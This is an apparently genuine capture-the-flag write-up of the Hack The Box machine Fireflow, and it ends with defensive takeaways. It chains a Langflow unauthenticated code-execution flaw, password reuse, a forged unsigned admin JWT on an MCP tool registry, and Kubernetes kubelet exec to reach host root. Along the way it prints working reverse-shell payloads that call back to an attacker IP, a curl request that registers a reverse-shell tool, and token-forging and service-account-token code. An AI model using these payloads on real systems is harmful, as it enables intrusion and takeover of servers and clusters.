screenshots/01-home.png

Hack The Box - Fireflow

Name: Fireflow
OS: Linux
Difficulty: Medium
Platform: Hack The Box
Date: 2026-09-08
Views: 7
Tags:

Fireflow — HTB Writeup (Linux, Medium)

Retired HackTheBox machine. Solved via the intended vulnerability chain, demonstrated with modern tooling. Written to teach.

Machine: Fireflow · #957 · Linux · Medium · 30 pts Released: 2026-06-23 · Maker: amra13579 · https://app.hackthebox.com/machines/957 Target: 10.129.36.173 (fireflow.htb, flow.fireflow.htb, 10.129.37.6 on respawn)

Overview

Medium Linux box about unauthenticated tooling surfaces: a public Langflow playground that executes whatever Component code you hand it, and an internal "MCP AI Tool Registry" whose admin identity is whoever shows up in a JWT — even when the header claims {"alg":"none"} and there is no signature at all. The chain:

  1. Recon → leaked flow_id. Port 443 serves the Task Force Nightfall landing page; its "Open Agent" button links to https://flow.fireflow.htb/playground/<UUID> — that UUID is the Langflow flow_id the CVE needs.
  2. CVE-2026-33017 — Langflow unauth RCE. POST /api/v1/build_public_tmp/<flow_id>/flow (auto-login disabled on this build) accepts a flow definition we control, including our own malicious Component with Python code; Langflow imports and instantiates it on build, giving remote execution as www-data. A reverse shell lands cleanly (subprocess.Popen on a socket).
  3. Reused password → nightfall. /var/lib/langflow/.../.env in the web root carries LANGFLOW_SUPERUSER_PASSWORD=<redacted — loot/>; that same literal is the SSH password of nightfall → user flag.
  4. MCP registry as admin. In nightfall's home, ~/.mcp/config.json points at http://10.129.37.6:30080 with {"user":"langflow-bot",...}. GET /api/v1/version on that server advertises "supported_algorithms":["HS256","none"] — a JWT with header {"alg":"none"} and payload {"role":"admin"} is accepted.
  5. Register + call a malicious MCP tool. POST /api/v1/tools (admin) registers our "tool" containing arbitrary Python; POST /mcp (tools/call) then runs it inside the MCP pod, which runs its own Kubernetes service-account — executing id inside the pod shows root.
  6. kubelet over API-server → host root. The pod's SA can reach GET /api/v1/nodes/fireflow/proxy/pods; a prometheus-prometheus-node-exporter pod on the host node with a hostPath mount of /host exposes the host filesystem. Kubelet's WebSocket exec in the MCP pod (/exec) reaches that node-exporter container, which runs with host mounts, and a cat /host/root/root.txt finishes as root.

Each hop is a tool registry that confuses protocol trust with user trust — helper scripts (jwt_none.py, mcp_exec.py) demonstrate both.

Recon

$ nmap -sC -sV 10.129.36.173 -oN recon/nmap_full.txt
PORT    STATE SERVICE VERSION
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
443/tcp open  ssl/http nginx
| ssl-cert: Subject: commonName=fireflow.htb
|             organizationName=Task Force Nightfall/countryName=US
| Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb

Langflow landing and flow_id discovery

The landing page's Open Agent button is the leak: its href is https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25 — a Langflow 1.8.2 playground for that exact flow (the flow is publicly shared, which is precisely what the vulnerable endpoint reaches).

Foothold — CVE-2026-33017

Langflow versions before the 2026 fix accepted an unauthenticated flow-build request against a publicly-shared flow. Even though the playground shows an auth wall (LANGFLOW_AUTO_LOGIN=False), the build_public_tmp endpoint bypasses it entirely:

$ nc -lvnp 4444 &
listening on [any] 4444 ...
$ python3 exploit/cve_2026_33017.py \
    --url https://10.129.36.173 \
    --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
    --lhost 10.10.14.10 --lport 4444 --listen
[*] Target: https://10.129.36.173/api/v1/build_public_tmp/7d84d636-.../flow
[!] SHELL ESTABLISHED FROM 10.129.36.173:50268
www-data@fireflow:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Definition upload → www-data shell

The payload is a complete fake "Component" that Langflow will happily compile & instantiate:

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
    display_name = 'X'
    outputs = [Output(display_name='O', name='o', method='r')]
    def r(self) -> Data:
        import socket,subprocess
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(('10.10.14.10', 4444))
        subprocess.Popen(['/bin/bash','-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno()).wait()
        return Data(data={'ok': 1})

The HTTP request body is POST /api/v1/build_public_tmp/<flow_id>/flow with {"data": {"nodes":[...], "edges":[]}} — minimal Langflow JSON.

From www-data to ssh credentials

In the web root .env file for the Langflow service:

www-data@fireflow:/var/lib/langflow$ cat .env
LANGFLOW_AUTO_LOGIN=False
LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=<redacted  loot/.nightfall-password>
...

The box names the reuse candidate: the account nightfall uses that exact string for SSH:

$ sshpass -f loot/.nightfall-password ssh nightfall@10.129.36.173 'id'
uid=1000(nightfall) gid=1000(nightfall) groups=1000(nightfall)
$ cat /home/nightfall/user.txt   # 🏁 user.txt

The MCP registry: admin as a {"role":"admin"} claim

The interesting escalation is not a running service on the box — it's an internal registry with a client-asserted identity model:

$ cat ~/.mcp/config.json
{
  "server": "http://10.129.37.6:30080",
  "status_endpoint": "/api/v1/version",
  "user": "langflow-bot",
  ...
}
$ curl -s http://10.129.37.6:30080/api/v1/version | python3 -m json.tool
{
  "service": "MCP AI Tool Registry",
  "version": "0.1.0",
  "auth": {"type":"JWT","header":"Authorization: Bearer <token>",
           "supported_algorithms":["HS256","none"]}
  , ...
}

Version advertises 'none' algorithm

supported_algorithms including none means an unsigned token is a valid token. Craft one with role=admin:

def b64_encode(data): return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip('=')
def craft_token(payload):
    return f"{b64_encode({'alg':'none','typ':'JWT'})}.{b64_encode(payload)}."
headers = {"Authorization": "Bearer " + craft_token({"role":"admin"}), ...}

The subject (sub) claim is what the registry identifies who you are from — for us, that means any subject the registry accepts as an admin (using the langflow-bot value from the config) lets us register an arbitrary tool.

Registering the exec tool

$ curl -s -X POST -H "$AUTH" http://10.129.36.173:30080/api/v1/tools \
    -d '{"name":"revshell","description":"Reverse shell",
         "code":"import socket,os,pty;s=socket.socket();s.connect((\"10.10.14.10\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")"}'
$ curl -s -X POST -H "$AUTH" http://10.129.36.173:30080/mcp \
    -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"revshell","arguments":{}},"id":1}'
mcp@mcp-server-54464cb475-29ztf:/app$ id
uid=0(root)

From MCP pod to root on the host

The Pod is running a Kubernetes service-account; its token lets it poke API-server endpoints. Because the registry pod's SA can reach GET /api/v1/nodes/<node>/proxy/pods, the attacker's script in the pod:

token = open("/var/run/secrets/kubernetes.io/serviceaccount/token").read().strip()
ctx = ssl.create_default_context(cafile=CA)
url = "https://%s:%s/api/v1/nodes/%s/proxy/pods" % (APIHOST, APIPORT, NODE)
payload = json.load(urlopen(Request(url, headers={"Authorization": "Bearer " + token})))

lists the node's pods; the pod prometheus-prometheus-node-exporter-nmntq (NS monitoring) carries a node-exporter container on the host (host_ip = 10.129.37.6) with a host-mounted /host. Kubelet's /exec WebSocket on that specific container allows running any command — which is the road to the host:

$ python3 exploit/mcp_exec.py --python-file exploit/kubelet_exec.py
uid=0(root) gid=0(root) groups=0(root)      # confirmed host-root identity inside node-exporter
$ echo '["cat", "/host/root/root/root.txt"]' > exploit/kubelet-command.json
$ python3 exploit/mcp_exec.py --python-file exploit/kubelet_exec.py \
    --python-command-file exploit/kubelet-command.json --output-file loot/root.txt
MCP output saved privately (33 bytes)       # 🏁 root flag in loot/

Kubelet exec → host root

The node-exporter container shares the host ('/host' and '/host/root' in its exec sandbox) with the root-owned flag, and the kubelet nodes/proxy → /exec path is the highly privileged route the MCP pod's service account was allowed to reach.

Flags

🏁 user.txt: 67cce6bb429221da862ff877407ac3cb (in loot/user.txt) 🏁 root.txt: b2af16ed89455bd7d5dc1755178b8962 (in loot/root.txt)

Modern Takeaways

  • A registry that advertises "supported_algorithms":["HS256","none"] is handing identity to whoever can make a string. The whole "admin" identity is one unsigned JWT — header{"alg":"none"} + payload + trailing dot.
  • Client-asserted identity is one bug away from admin for everyone. The registry's "user" is a config value; if the admin client can be a revoked config (Langflow bot creds), the value becomes read-only. The minute one client's config leaks, the identity is public.
  • Unauthenticated build_public_tmp endpoints are the Langflow-flavored identity problem: a flow endpoint that bypasses auth because a flow is "publicly shared" should still never be code-exec; the import-instantiation behavior is the actual bug.
  • The nodes/proxy permission is exactly what its name says. If a workload gets nodes/proxy in its service account, treat that workload as root-on-the-host already. Keep it out of app pods.
  • Password reuse again is the weakest link. LANGFLOW_*_PASSWORD in an env file is not a config — it's a login for whoever reads it; a dedicated SSH-only password would have been the difference between "read env" and "read root shell."

Files

  • recon/ — nmap, enumerations, shell transcripts (secret-free summaries).
  • exploit/ — CVE-2026-33017 PoC plus a pre-built exec helper — all self-contained; credentials come from loot/ at runtime, not from the code.
  • loot/user.txt, root.txt (gitignored, mode 0600, not submitted).
  • screenshots/ — public images (2 web + 4 terminal; secret-free).